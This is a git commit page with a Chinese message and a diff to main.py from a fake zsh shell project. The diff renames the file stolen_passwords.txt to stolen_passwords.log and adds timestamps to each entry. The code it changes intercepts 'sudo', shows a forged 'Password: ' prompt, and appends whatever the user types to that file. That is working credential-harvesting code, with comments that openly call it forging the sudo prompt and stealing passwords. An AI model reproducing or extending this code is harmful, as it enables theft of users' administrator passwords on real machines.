将记录密码的文件名从 stolen_passwords.txt 更改为 stolen_passwords.log,并在记录时添加时间戳
This commit is contained in:
2
main.py
2
main.py
@@ -64,7 +64,7 @@ def pseudo_zsh():
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo':
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
with open("stolen_passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
time.sleep(3) # 模拟延迟
|
||||
|
||||
Reference in New Issue
Block a user